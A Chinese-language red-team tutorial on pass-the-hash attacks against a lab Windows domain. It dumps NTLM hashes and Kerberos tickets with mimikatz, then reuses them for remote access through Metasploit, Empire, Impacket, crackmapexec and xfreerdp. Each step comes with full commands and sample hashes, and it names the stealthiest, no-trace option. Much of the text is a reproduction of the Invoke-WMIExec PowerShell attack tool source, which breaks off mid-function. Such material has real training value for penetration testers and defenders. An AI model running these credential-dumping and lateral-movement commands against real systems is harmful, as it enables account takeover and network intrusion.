Kerberos

NetNTLM 验证

哈希攻击在近年来攻击中非常有效,以至于微软对存储凭据和使用凭据验证的方式进行了改变,但是 PTH 攻击依旧是一个无法解决的问题

PTH 历史

我们在获得会话中,应该去寻找凭据或者哈希值,这是攻击者初始利用执行后的基本获得之一。从红队来看, PTH 是横向移动的一部分。在获得哈希后我们基本有两种利用思路:

  • 第一种就是破解,但是难度很大且正确率未知。
  • 第二种就是:在身份验证过程中,基本过程为从用户获取密码,然后对密码进行加密,在后续使用中使用正确密码的加密哈希值来进行身份验证。在用户登陆认证之后,WIndows 会将加密哈希值保存在内存中,这样用于就不需要一次又一次的输入密码。在凭证转储期间,我们可以提取到大量的加密哈希值,但是我并不知道密码,因此在身份验证的时候我们提供的是加密哈希值而不是密码,Windows 将通过比较哈希值来进行验证

哈希和 NTLM 简介

  • 微软从 WIndows 10 依赖就使用 NTLMv2 身份验证协议,还引入了单点登陆系统,该系统会将凭据缓存在内存中,以保证使用
  • 加密哈希函数是一种算法,接受一个任意的数据块,并返回一个固定大小的比特字符串

PTH 攻击

PTH 攻击分为两步:

  1. 提取哈希
  2. 使用哈希获得目标的访问权限

哈希转储

  • 凭据转储: SAM
  • 凭据转储: NTDS.dit
  • 凭据转储: LSASS.exe

注意: 带有KB2871997 的 Windows 7 及更高版本需要有效的域用户凭据或 RID 500 管理员哈希

实验配置

攻击主机:

  • 操作系统: Kali Linux 2020.1
  • IP地址: 192.168.1.112

目标主机:

  • 服务器
    • 操作系统: Windows Server 2016
    • IP地址: 192.168.1.105
    • 域名: ignite.local
    • 用户:Administrator
  • 客户
    • 操作系统: Windows 10
    • IP地址: 192.168.1.106
    • 用户:Yashika

mimikatz

PTH 攻击适用于大量场景和技术,这种攻击仅限于使用其哈希的用户,我们先使用 Mimikatz 进行 PTH 攻击,在这里我们使用 Administrator 和 Hash,我们还需要指定域,当执行成功后,会以管理员身份打开命令提示符

从本地 SAM 提取 NTLM hash

  1. mimikatz # privilege::debug
  2. mimikatz # token::elevate
  3. mimikatz # lsadump::sam
  4. RID : 000001f4 (500)
  5. User : Administrator
  6. Hash NTLM: 145e02c50333951f71d13c245d352b50

从 LSASS 内存中提取 NTLM hash

  1. mimikatz # privilege::debug
  2. mimikatz # token::elevate
  3. mimikatz # sekurlsa::msv
  4. Authentication Id : 0 ; 308124 (00000000:0004b39c)
  5. Session : RemoteInteractive from 2
  6. User Name : bob.jenkins
  7. Domain : ZA
  8. Logon Server : THMDC
  9. Logon Time : 2022/04/22 09:55:02
  10. SID : S-1-5-21-3330634377-1326264276-632209373-4605
  11. msv :
  12. [00000003] Primary
  13. * Username : bob.jenkins
  14. * Domain : ZA
  15. * NTLM : 6b4a57f67805a663c818106dc0648484

收集到 NTLM hash 后,我们就可以使用 hash 进行 PTH

  1. privilege::debug
  2. sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38

PTH 攻击 - 图1

RDP 的 PTH

  1. xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

Kerberos 票证

:::color1 我们可以使用 mimikatz 来从 LSASS 内存中提取 Kerberos 票证和会话密钥,该过程需要我们有 SYSTEM 权限

:::

  1. mimikatz # privilege::debug
  2. mimikatz # sekurlsa::tickets /export # 提取票证,并会生成 kirbi 文件
请注意,如果我们只能访问票证,而不能访问其相应的会话密钥,我们将无法使用该票证;因此,两者都是必要的 虽然mimikatz可以从LSASS进程的内存中提取任何可用的TGT或TGS,但大多数时候,我们会对TGT感兴趣,因为它们可用于请求访问允许用户访问的任何服务。同时,TGS 仅适用于特定服务。提取 TGT 需要我们具有管理员凭据,并且可以使用低特权帐户(仅分配给该帐户的帐户)提取 TGS。 提取所需的票证后,我们可以使用以下命令将票证注入当前会话:
  1. mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
  1. za\bob.jenkins@THMJMP2 C:\> klist
  2. Current LogonId is 0:0x1e43562
  3. Cached Tickets: (1)
  4. #0> Client: Administrator @ ZA.TRYHACKME.COM
  5. Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
  6. KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
  7. Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
  8. Start Time: 4/12/2022 0:28:35 (local)
  9. End Time: 4/12/2022 10:28:35 (local)
  10. Renew Time: 4/23/2022 0:28:35 (local)
  11. Session Key Type: AES-256-CTS-HMAC-SHA1-96
  12. Cache Flags: 0x1 -> PRIMARY
  13. Kdc Called: THMDC.za.tryhackme.com

SMB 的 PTH

Metasploit:smb_login

Metasploit 有一个辅助工具,用于通过 SMB 登录网络。它需要一组需要定义的选项。我们决定为用户和哈希字典。我们在初始枚举中收集了一堆哈希值和用户名,然后将它们与将执行攻击的漏洞利用一起使用,告诉我们哪些用户和哈希值组合可用于登录网络中的特定机器。

  1. use auxiliary/scanner/smb/smb_login
  2. set rhosts 192.168.1.105
  3. set user_file user.txt
  4. set pass_file pass.txt
  5. set smbdomain ignite
  6. exploit

PTH 攻击 - 图2

Empire : Invoke_smbexec

有一个松散地基于 Invoke-SMBExec.ps1 的横向移动模块也可用于使用用户的哈希登录。我们将使用 Administrator 用户及其散列来进行实践。正如我们之前讨论的,Windows 现在不使用 LM 哈希,因此我们将使用 32 个零的序列代替 LM 哈希。提供各种选项后,我们执行模块,如下图所示。

  1. usemodule lateral_movement/invoke_smbexec
  2. set ComputerName WIN-S0V7KMTVLD2.ignite.local
  3. set Username Administrator
  4. set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
  5. set Listener http
  6. execute

PTH 攻击 - 图3

攻击成功,并为我们提供了一个用户管理员会话。我们运行 ipconfig 命令来验证会话,如下图所示

PTH 攻击 - 图4

Impacket : smbclient.py

Impacket Toolkit 有 smbclient.py 文件,可以帮助攻击者与 SMB 交互。它通常需要登录密码,但我想如果我们给它哈希值会怎么样。毫不奇怪。同样,为了安全起见,我们使用带有零的散列。它需要用户名、哈希值、域。它还需要 IP 地址,因为我们在 Kali Linux 上运行它,而 Kali 不是域控制器内部网络的一部分。

  1. python smbclient.py-hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

PTH 攻击 - 图5

PTH-smbclient

它也可以对 SMB 服务执行 PtH 攻击。它还需要相同的基本信息来执行攻击。它需要域、用户名、IP 地址和密码。

  1. pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$

PTH 攻击 - 图6

Crackmapexec

我们可以使用 crackmapexec 执行 PtH 攻击并在目标机器上执行命令。它需要 IP 地址、用户名、密码和我们要执行的命令。我们可以使用哈希代替密码。我们没有使用带零的散列,因为它可以很容易地使用 NT 散列。

  1. crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

PTH 攻击 - 图7

PsExec

PsExec 是一种允许系统管理员在其他系统上执行进程的工具。它充满了控制台应用程序的交互性。它是一个可执行文件,无需安装,开箱即用。PsExec 主要用于在远程系统和 Ipconfig 等远程启用工具上启动交互式命令提示,否则无法显示有关远程系统的信息。PsExec 适用于 SMB,但由于它在行业中非常普遍,因此值得单独分类。

MSF: psexec

它需要一组参数,即目标 IP 地址、用户名、密码和域。我们尝试传递散列值而不是密码,

  1. use exploit/windows/smb/psexec
  2. set rhosts 192.168.1.105
  3. set smbuser administrator
  4. set smbdomain ignite
  5. set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
  6. exploit

PTH 攻击 - 图8

Metasploit:psexec_command

我们有另一个名为 psexec 命令的漏洞。这一个在远程机器上执行命令。这更有效,因为它更隐蔽并且不留痕迹。执行特定命令然后退出。要求与上面的要求非常相似,但它确实需要您要在目标机器上执行的命令。在这种情况下,我们给出了命令“net user”,它向我们显示了机器上的用户。

  1. use admin/smb/psexec_command
  2. set rhosts 192.168.1.105
  3. set smbdomain ignite
  4. set smbuser administrator
  5. set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
  6. set command net user
  7. run

PTH 攻击 - 图9

Impacket : psexec.py

Impacket 有它的 psexec 脚本。。其工作与我们之前处理的 smbclient.py 惊人地相似,但不同之处在于我们获得的 shell 类型。之前我们获得了 SMB shell,但在这里我们从目标机器获得了正确的 shell。

  1. python psexec.py-hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105

PTH 攻击 - 图10

WMI

Windows Management Instrumentation 是 Microsoft 的一组规范,它整合了 Windows 网络中设备和应用程序的管理。WMI 为用户提供信息,并提供执行各种管理任务的权限。此访问由身份验证监控。由于我们有身份验证,我们将执行 PtH 攻击以破解该身份验证。

Impacket : wmiexec.py

Impacket 有脚本可以使用 WMI 在机器上获取会话来执行各种任务。它需要用户的凭据才能执行这些任务。我们将使用散列而不是密码来查看我们是否可以使用 wmiexec.py 在目标机器上获得一个会话。要求包括用户名、IP 地址和哈希值。

  1. python wmiexec.py-hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105

PTH 攻击 - 图11

WMIExec.ps1

由Kevin Robertson设计的名为 Invoke-WMIExec 的有用 PowerShell 脚本是远程访问 WMI 的方法之一。它的工作原理与我们刚刚使用的 Impacket 脚本非常相似。但是,它可以在 Target 机器上执行任务。它不会提供会话。假设我们必须远程更改另一个系统的一些设置或策略,这个脚本可以在这种情况下帮助我们。它需要目标 IP 地址、域、用户名,并且它还接受哈希。然后我们需要提供要执行的命令。我决定在名为 hacked 的远程系统上创建一个文件夹。

  1. function Invoke-WMIExec
  2. {
  3. <#
  4. .SYNOPSIS
  5. Invoke-WMIExec performs WMI command execution on targets using NTLMv2 pass the hash authentication.
  6. Author: Kevin Robertson (@kevin_robertson)
  7. License: BSD 3-Clause
  8. .PARAMETER Target
  9. Hostname or IP address of target.
  10. .PARAMETER Username
  11. Username to use for authentication.
  12. .PARAMETER Domain
  13. Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after
  14. the username.
  15. .PARAMETER Hash
  16. NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
  17. .PARAMETER Command
  18. Command to execute on the target. If a command is not specified, the function will just check to see if the
  19. username and hash has access to WMI on the target.
  20. .PARAMETER Sleep
  21. Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
  22. setting if you are experiencing strange results.
  23. .EXAMPLE
  24. Execute a command.
  25. Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
  26. .EXAMPLE
  27. Check command execution privilege.
  28. Invoke-WMIExec -Target 192.168.100.20 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
  29. .LINK
  30. https://github.com/Kevin-Robertson/Invoke-TheHash
  31. #>
  32. [CmdletBinding()]
  33. param
  34. (
  35. [parameter(Mandatory=$true)][String]$Target,
  36. [parameter(Mandatory=$true)][String]$Username,
  37. [parameter(Mandatory=$false)][String]$Domain,
  38. [parameter(Mandatory=$false)][String]$Command,
  39. [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
  40. [parameter(Mandatory=$false)][Int]$Sleep=10
  41. )
  42. if($Command)
  43. {
  44. $WMI_execute = $true
  45. }
  46. function ConvertFrom-PacketOrderedDictionary
  47. {
  48. param($packet_ordered_dictionary)
  49. ForEach($field in $packet_ordered_dictionary.Values)
  50. {
  51. $byte_array += $field
  52. }
  53. return $byte_array
  54. }
  55. #RPC
  56. function New-PacketRPCBind
  57. {
  58. param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version)
  59. [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)
  60. $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary
  61. $packet_RPCBind.Add("Version",[Byte[]](0x05))
  62. $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00))
  63. $packet_RPCBind.Add("PacketType",[Byte[]](0x0b))
  64. $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03))
  65. $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
  66. $packet_RPCBind.Add("FragLength",[Byte[]](0x48,0x00))
  67. $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00))
  68. $packet_RPCBind.Add("CallID",$packet_call_ID_bytes)
  69. $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10))
  70. $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10))
  71. $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00))
  72. $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items)
  73. $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00))
  74. $packet_RPCBind.Add("ContextID",$packet_context_ID)
  75. $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01))
  76. $packet_RPCBind.Add("Unknown2",[Byte[]](0x00))
  77. $packet_RPCBind.Add("Interface",$packet_UUID)
  78. $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version)
  79. $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00))
  80. $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))
  81. $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00))
  82. if($packet_num_ctx_items[0] -eq 2)
  83. {
  84. $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
  85. $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01))
  86. $packet_RPCBind.Add("Unknown3",[Byte[]](0x00))
  87. $packet_RPCBind.Add("Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a))
  88. $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00))
  89. $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
  90. $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  91. $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
  92. }
  93. elseif($packet_num_ctx_items[0] -eq 3)
  94. {
  95. $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
  96. $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01))
  97. $packet_RPCBind.Add("Unknown3",[Byte[]](0x00))
  98. $packet_RPCBind.Add("Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  99. $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00))
  100. $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
  101. $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))
  102. $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
  103. $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00))
  104. $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01))
  105. $packet_RPCBind.Add("Unknown4",[Byte[]](0x00))
  106. $packet_RPCBind.Add("Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
  107. $packet_RPCBind.Add("InterfaceVer3",[Byte[]](0x00,0x00))
  108. $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00))
  109. $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  110. $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00))
  111. $packet_RPCBind.Add("AuthType",[Byte[]](0x0a))
  112. $packet_RPCBind.Add("AuthLevel",[Byte[]](0x04))
  113. $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00))
  114. $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00))
  115. $packet_RPCBind.Add("ContextID4",[Byte[]](0x00,0x00,0x00,0x00))
  116. $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
  117. $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
  118. $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
  119. $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  120. $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  121. $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
  122. }
  123. if($packet_call_ID -eq 3)
  124. {
  125. $packet_RPCBind.Add("AuthType",[Byte[]](0x0a))
  126. $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02))
  127. $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00))
  128. $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00))
  129. $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00))
  130. $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
  131. $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
  132. $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
  133. $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  134. $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  135. $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
  136. }
  137. return $packet_RPCBind
  138. }
  139. function New-PacketRPCAUTH3
  140. {
  141. param([Byte[]]$packet_NTLMSSP)
  142. [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length)[0,1]
  143. [Byte[]]$packet_RPC_length = [System.BitConverter]::GetBytes($packet_NTLMSSP.Length + 28)[0,1]
  144. $packet_RPCAuth3 = New-Object System.Collections.Specialized.OrderedDictionary
  145. $packet_RPCAuth3.Add("Version",[Byte[]](0x05))
  146. $packet_RPCAuth3.Add("VersionMinor",[Byte[]](0x00))
  147. $packet_RPCAuth3.Add("PacketType",[Byte[]](0x10))
  148. $packet_RPCAuth3.Add("PacketFlags",[Byte[]](0x03))
  149. $packet_RPCAuth3.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
  150. $packet_RPCAuth3.Add("FragLength",$packet_RPC_length)
  151. $packet_RPCAuth3.Add("AuthLength",$packet_NTLMSSP_length)
  152. $packet_RPCAuth3.Add("CallID",[Byte[]](0x03,0x00,0x00,0x00))
  153. $packet_RPCAuth3.Add("MaxXmitFrag",[Byte[]](0xd0,0x16))
  154. $packet_RPCAuth3.Add("MaxRecvFrag",[Byte[]](0xd0,0x16))
  155. $packet_RPCAuth3.Add("AuthType",[Byte[]](0x0a))
  156. $packet_RPCAuth3.Add("AuthLevel",[Byte[]](0x02))
  157. $packet_RPCAuth3.Add("AuthPadLength",[Byte[]](0x00))
  158. $packet_RPCAuth3.Add("AuthReserved",[Byte[]](0x00))
  159. $packet_RPCAuth3.Add("ContextID",[Byte[]](0x00,0x00,0x00,0x00))
  160. $packet_RPCAuth3.Add("NTLMSSP",$packet_NTLMSSP)
  161. return $packet_RPCAuth3
  162. }
  163. function New-PacketRPCRequest
  164. {
  165. param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data)
  166. if($packet_auth_length -gt 0)
  167. {
  168. $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8
  169. }
  170. [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length)
  171. [Byte[]]$packet_frag_length = $packet_write_length[0,1]
  172. [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length)
  173. [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length)[0,1]
  174. $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary
  175. $packet_RPCRequest.Add("Version",[Byte[]](0x05))
  176. $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00))
  177. $packet_RPCRequest.Add("PacketType",[Byte[]](0x00))
  178. $packet_RPCRequest.Add("PacketFlags",$packet_flags)
  179. $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
  180. $packet_RPCRequest.Add("FragLength",$packet_frag_length)
  181. $packet_RPCRequest.Add("AuthLength",$packet_auth_length)
  182. $packet_RPCRequest.Add("CallID",$packet_call_ID)
  183. $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint)
  184. $packet_RPCRequest.Add("ContextID",$packet_context_ID)
  185. $packet_RPCRequest.Add("Opnum",$packet_opnum)
  186. if($packet_data.Length)
  187. {
  188. $packet_RPCRequest.Add("Data",$packet_data)
  189. }
  190. return $packet_RPCRequest
  191. }
  192. function New-PacketRPCAlterContext
  193. {
  194. param([Byte[]]$packet_assoc_group,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_interface_UUID)
  195. $packet_RPCAlterContext = New-Object System.Collections.Specialized.OrderedDictionary
  196. $packet_RPCAlterContext.Add("Version",[Byte[]](0x05))
  197. $packet_RPCAlterContext.Add("VersionMinor",[Byte[]](0x00))
  198. $packet_RPCAlterContext.Add("PacketType",[Byte[]](0x0e))
  199. $packet_RPCAlterContext.Add("PacketFlags",[Byte[]](0x03))
  200. $packet_RPCAlterContext.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
  201. $packet_RPCAlterContext.Add("FragLength",[Byte[]](0x48,0x00))
  202. $packet_RPCAlterContext.Add("AuthLength",[Byte[]](0x00,0x00))
  203. $packet_RPCAlterContext.Add("CallID",$packet_call_ID)
  204. $packet_RPCAlterContext.Add("MaxXmitFrag",[Byte[]](0xd0,0x16))
  205. $packet_RPCAlterContext.Add("MaxRecvFrag",[Byte[]](0xd0,0x16))
  206. $packet_RPCAlterContext.Add("AssocGroup",$packet_assoc_group)
  207. $packet_RPCAlterContext.Add("NumCtxItems",[Byte[]](0x01))
  208. $packet_RPCAlterContext.Add("Unknown",[Byte[]](0x00,0x00,0x00))
  209. $packet_RPCAlterContext.Add("ContextID",$packet_context_ID)
  210. $packet_RPCAlterContext.Add("NumTransItems",[Byte[]](0x01))
  211. $packet_RPCAlterContext.Add("Unknown2",[Byte[]](0x00))
  212. $packet_RPCAlterContext.Add("Interface",$packet_interface_UUID)
  213. $packet_RPCAlterContext.Add("InterfaceVer",[Byte[]](0x00,0x00))
  214. $packet_RPCAlterContext.Add("InterfaceVerMinor",[Byte[]](0x00,0x00))
  215. $packet_RPCAlterContext.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))
  216. $packet_RPCAlterContext.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00))
  217. return $packet_RPCAlterContext
  218. }
  219. function New-PacketNTLMSSPVerifier
  220. {
  221. param([Int]$packet_auth_padding,[Byte[]]$packet_auth_level,[Byte[]]$packet_sequence_number)
  222. $packet_NTLMSSPVerifier = New-Object System.Collections.Specialized.OrderedDictionary
  223. if($packet_auth_padding -eq 4)
  224. {
  225. $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00))
  226. [Byte[]]$packet_auth_pad_length = 0x04
  227. }
  228. elseif($packet_auth_padding -eq 8)
  229. {
  230. $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  231. [Byte[]]$packet_auth_pad_length = 0x08
  232. }
  233. elseif($packet_auth_padding -eq 12)
  234. {
  235. $packet_NTLMSSPVerifier.Add("AuthPadding",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  236. [Byte[]]$packet_auth_pad_length = 0x0c
  237. }
  238. else
  239. {
  240. [Byte[]]$packet_auth_pad_length = 0x00
  241. }
  242. $packet_NTLMSSPVerifier.Add("AuthType",[Byte[]](0x0a))
  243. $packet_NTLMSSPVerifier.Add("AuthLevel",$packet_auth_level)
  244. $packet_NTLMSSPVerifier.Add("AuthPadLen",$packet_auth_pad_length)
  245. $packet_NTLMSSPVerifier.Add("AuthReserved",[Byte[]](0x00))
  246. $packet_NTLMSSPVerifier.Add("AuthContextID",[Byte[]](0x00,0x00,0x00,0x00))
  247. $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierVersionNumber",[Byte[]](0x01,0x00,0x00,0x00))
  248. $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierChecksum",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
  249. $packet_NTLMSSPVerifier.Add("NTLMSSPVerifierSequenceNumber",$packet_sequence_number)
  250. return $packet_NTLMSSPVerifier
  251. }
  252. function New-PacketDCOMRemQueryInterface
  253. {
  254. param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IID)
  255. $packet_DCOMRemQueryInterface = New-Object System.Collections.Specialized.OrderedDictionary
  256. $packet_DCOMRemQueryInterface.Add("VersionMajor",[Byte[]](0x05,0x00))
  257. $packet_DCOMRemQueryInterface.Add("VersionMinor",[Byte[]](0x07,0x00))
  258. $packet_DCOMRemQueryInterface.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
  259. $packet_DCOMRemQueryInterface.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
  260. $packet_DCOMRemQueryInterface.Add("CausalityID",$packet_causality_ID)
  261. $packet_DCOMRemQueryInterface.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
  262. $packet_DCOMRemQueryInterface.Add("IPID",$packet_IPID)
  263. $packet_DCOMRemQueryInterface.Add("Refs",[Byte[]](0x05,0x00,0x00,0x00))
  264. $packet_DCOMRemQueryInterface.Add("IIDs",[Byte[]](0x01,0x00))
  265. $packet_DCOMRemQueryInterface.Add("Unknown",[Byte[]](0x00,0x00,0x01,0x00,0x00,0x00))
  266. $packet_DCOMRemQueryInterface.Add("IID",$packet_IID)
  267. return $packet_DCOMRemQueryInterface
  268. }
  269. function New-PacketDCOMRemRelease
  270. {
  271. param([Byte[]]$packet_causality_ID,[Byte[]]$packet_IPID,[Byte[]]$packet_IPID2)
  272. $packet_DCOMRemRelease = New-Object System.Collections.Specialized.OrderedDictionary
  273. $packet_DCOMRemRelease.Add("VersionMajor",[Byte[]](0x05,0x00))
  274. $packet_DCOMRemRelease.Add("VersionMinor",[Byte[]](0x07,0x00))
  275. $packet_DCOMRemRelease.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00))
  276. $packet_DCOMRemRelease.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00))
  277. $packet_DCOMRemRelease.Add("CausalityID",$packet_causality_ID)
  278. $packet_DCOMRemRelease.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
  279. $packet_DCOMRemRelease.Add("Unknown",[Byte[]](0x02,0x00,0x00,0x00))
  280. $packet_DCOMRemRelease.Add("InterfaceRefs",[Byte[]](0x02,0x00,0x00,0x00))
  281. $packet_DCOMRemRelease.Add("IPID",$packet_IPID)
  282. $packet_DCOMRemRelease.Add("PublicRefs",[Byte[]](0x05,0x00,0x00,0x00))
  283. $packet_DCOMRemRelease.Add("PrivateRefs",[Byte[]](0x00,0x00,0x00,0x00))
  284. $packet_DCOMRemRelease.Add("IPID2",$packet_IPID2)
  285. $packet_DCOMRemRelease.Add("PublicRefs2",[Byte[]](0x05,0x00,0x00,0x00))
  286. $packet_DCOMRemRelease.Add("PrivateRefs2",[Byte[]](0x00,0x00,0x00,0x00))
  287. return $packet_DCOMRemRelease
  288. }
  289. function New-PacketDCOMRemoteCreateInstance
  290. {
  291. param([Byte[]]$packet_causality_ID,[String]$packet_target)
  292. [Byte[]]$packet_target_unicode = [System.Text.Encoding]::Unicode.GetBytes($packet_target)
  293. [Byte[]]$packet_target_length = [System.BitConverter]::GetBytes($packet_target.Length + 1)
